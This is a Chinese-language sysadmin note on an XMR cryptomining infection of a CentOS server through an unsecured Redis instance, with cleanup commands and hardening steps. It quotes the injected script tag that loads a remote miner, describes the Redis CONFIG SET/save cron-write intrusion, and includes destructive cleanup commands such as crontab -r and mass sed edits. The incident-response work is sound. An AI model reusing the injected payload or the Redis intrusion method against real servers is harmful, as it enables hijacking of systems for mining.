XMR 恶意挖矿脚本处理笔记

感谢您阅读此文,如果您发现任何错误,请发邮件至 zrg1390556487@gmail.com,谢谢!

事件描述

概况

服务器安装系统为 CentOS 7,服务器用户一直采用密钥登录,通过用户登入攻击的可能性几乎为零。
服务器上所有站点使用宝塔面板面板管理,所以可能性是通过攻破了宝塔面板进入,然后注入恶意挖矿脚本的。
网站无法加载,会出现浏览器卡死的情况。

表象

下面陈述被攻击后的表象:
  • 服务器资源被大量占用,资源占用率飙升;
  • 服务器所有JS文件被篡改,向输出页面增加了一个script标签(document.write('<script src="http://t.cn/EvlonFh"></script><script>OMINEId("e02cf4ce91284dab9bc3fc4cc2a65e28","-1")</script>');)
  • 网站无法加载,会出现浏览器卡死的情况

问题排查及解决

排查

1. 访问服务器上运行的站点(包括宝塔面板),F12,发现不停访问一个wss的地址(wss://xmr.omine.org:8181/),并且很慢。
2. 搜索这个地址,得知此为 XMR 恶意挖矿脚本。
3. 查看系统任务计划,发现定期恶意脚本的计划内容
# crontab -l
4. 由于redis没有安全配置,黑客利用redis安全漏洞入侵了服务器。
攻击者通过redis命令 config set与save完成入侵过程.使用redis-cli -h <ip> <port> 登录服务redis-server,
将redis的数据文件改到/var/spool/cron/root文件中,再通save 命令将定时任务shell脚本写入到/var/spool/cron/root 中,
完成定时执行shell脚本,来实现提权及其它操作。

解决

1. 整理清理脚本
# 先关掉redis端口
iptables -A INPUT -p tcp --dport 6379 -j DROP
# 清理定时任务
crontab -r
# 清除redis key Back1 Back3 Back3
redis-cli -h xxx.xxx.xxx.xxx -x del Back1
redis-cli -h xxx.xxx.xxx.xxx -x del Back2
redis-cli -h xxx.xxx.xxx.xxx -x del Back3
redis-cli -h xxx.xxx.xxx.xxx -x CONFIG SET dbfilename dump.rdb
redis-cli -h xxx.xxx.xxx.xxx -x CONFIG SET dir /tmp
redis-cli -h xxx.xxx.xxx.xxx -x save
# 清理运行脚本
kill -9 `ps -ef|grep shz.sh|grep -v grep|awk '{print $2}'`
kill -9 `ps -ef|grep zigw|grep -v grep|awk '{print $2}'`
kill -9 `ps -ef|grep cmd|grep -v grep|awk '{print $2}'`
chattr -i /etc/zigw
chattr -i /etc/shz.sh
chattr -i /tmp/zigw
chattr -i /tmp/shz.sh
rm -rf /etc/shz.sh
rm -rf /etc/gmbpr2
rm -rf /etc/zigw
rm -rf /tmp/zigw
rm -rf /tmp/shz.sh
rm -rf ~/.cmd

# 清理SSH免登录信息
cat /dev/null> ~/.ssh/authorized_keys
# 清理js脚本
find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$d'
mv /usr/bin/get /usr/bin/wget
mv /usr/bin/url /usr/bin/curl
#!/bin/bash
# By xzeu
# http://www.xzeu.com
# Email: admin#xzeu.com
# Filename: clearlink.sh

#Begin
find / -type f -name '*.js' |xargs fgrep -s -l "e02cf4ce91284dab9bc3fc4cc2a65e28"|xargs ls -l |awk '{print $9}'>jsfile.txt
for file in `cat ~/jsfile.txt`;
do
  echo $file
  # sed -i '/e02cf4ce91284dab9bc3fc4cc2a65e28/d' $file
  # cp $file ${file}.bad
done

exit 0
#END
2. 恢复服务器中的js文件(其中grep的参数为小写的L)
方法一:删除站点所有感染 js 文件,从代码仓库pull,重新上传部署。
方法二:# find / -name '*.js' | xargs grep -l f4ce9 | xargs sed -i '/f4ce9/d'

预防

1. 限制内网访问,或者只限制本机访问
只监听内网的IP,然后在iptables里面限制访问的主机:在/etc/redis/redis.conf中配置如下:
bind 192.168.1.100
如果服务只需要本机访问就直接监听127.0.0.1的回环地址就可以了。
2. 设置防火墙
如果需要其他机器访问,或者设置了slave模式,那就记得加上相应的防火墙设置,命令如下:
iptables -A INPUT -s 192.168.1.100/32 -p tcp --dport 6379 -j ACCEPT
3. 禁止root用户启动redis
使用root权限去运行网络服务是比较有风险的(nginx和apache都是有独立的work用户,而redis没有)。
edis crackit 漏洞就是利用root用户的权限来替换或者增加authorized_keys,来获取root登录权限的。
使用root切换到redis用户启动服务:
useradd -s /sbin/nolog -M redissetsid sudo -u redis /usr/bin/redis-server /etc/redis/redis.conf
4. 限制redis文件目录访问权限
设置redis的主目录权限为700,如果redis配置文件独立于redis主目录,权限修过为600,因为redis密码明文存储在配置文件中。
5. 避免使用熟知的端口,降低被初级扫描的风险
在/etc/redis/redis.conf中配置如下:
找到port 6379这行,把6379改为9999,记得iptables对应的端口要修改
6. 开启redis密码认证,并设置高复杂度密码
redis在redis.conf配置文件中,设置配置项requirepass, 开户密码认证。
redis因查询效率高,auth这种命令每秒能处理10w次以上,简单的redis的密码极容易为攻击者暴破。 
7. 禁用或者重命名危险命令
edis crackit漏洞就利用config/save两个命令完成攻击 。 因redis无用户权限限制,建议危险的命令,
使用rename配置项进行禁用或重命名,这样外部不了解重命名规则攻击者,就不能执行这类命令。涉及到的命令:
FLUSHDB, FLUSHALL, KEYS, PEXPIRE, DEL, CONFIG, SHUTDOWN, BGREWRITEAOF, BGSAVE, SAVE, SPOP, SREM, RENAME, DEBUG, EVAL`
以下示例:redis.config文件禁用FLUSHDB、FLUSHALL两个命令;重命名CONFIG、SHUTDOWN命令,添加一个特殊的后缀。
这样redis启动后,只能运行CONFIG_b9fc8327c4dee7命令,不能执行CONFIG命令。
rename-command CONFIG CONFIG_des327c4dee7dfsf
rename-command SHUTDOWN SHUTDOWN_des327c4dee7dfsf
rename-command FLUSHDB ""
rename-command FLUSHALL ""
上述配置将config,flushdb,flushall设置为了空,即禁用该命令,我们也可以命名为一些攻击者难以猜测,
我们自己却容易记住的的名字。保存之后,执行/etc/init.d/redis-server restart 重启生效。